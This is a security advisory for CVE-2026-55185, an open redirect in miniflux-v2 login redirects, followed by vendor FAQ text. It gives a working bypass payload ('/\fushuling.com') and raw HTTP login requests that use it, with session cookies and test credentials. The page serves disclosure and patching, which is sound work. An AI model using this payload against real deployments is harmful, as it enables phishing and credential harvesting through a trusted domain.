CVE-2026-55185

The URL restrictions in miniflux-v2 can be bypassed by attackers, leading to an open redirect vulnerability.

Details

Normally, the redirect URL needs to be validated using IsRelativePath.

There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like //fushuling.com. However, these measures can still be bypassed.

For a proof-of-concept (PoC) like /\fushuling.com, it lacks host and netloc fields and doesn't start with //, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address https://fushuling.com, thus bypassing existing protections.

For PoCs like //fushuling.com, the existing logic successfully detects and resolves to /unread, effectively preventing attacks.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45
Connection: close

csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123

However, when the attacker specified the redirect URL as /\fushuling.com, the URL successfully bypassed the detection and set the location to /\fushuling.com.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5
Connection: close

csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123

In the actual browser redirection, the URL successfully redirected to https://fushuling.com, thus bypassing the restrictions and achieving an open redirect attack.

PoC

/\fushuling.com

Open Redirect

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

Kodem intelligence

1. What is CVE-2026-55185? CVE-2026-55185 is a medium-severity open redirect vulnerability in miniflux.app/v2 (go), affecting versions <= 2.3.0. It is fixed in 2.3.1. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
2. Which versions of miniflux.app/v2 are affected by CVE-2026-55185? miniflux.app/v2 (go) versions <= 2.3.0 is affected.
3. Is there a fix for CVE-2026-55185? Yes. CVE-2026-55185 is fixed in 2.3.1. Upgrade to this version or later.
4. Is CVE-2026-55185 exploitable, and should I be worried? Whether CVE-2026-55185 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-55185 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-55185? Upgrade miniflux.app/v2 to 2.3.1 or later.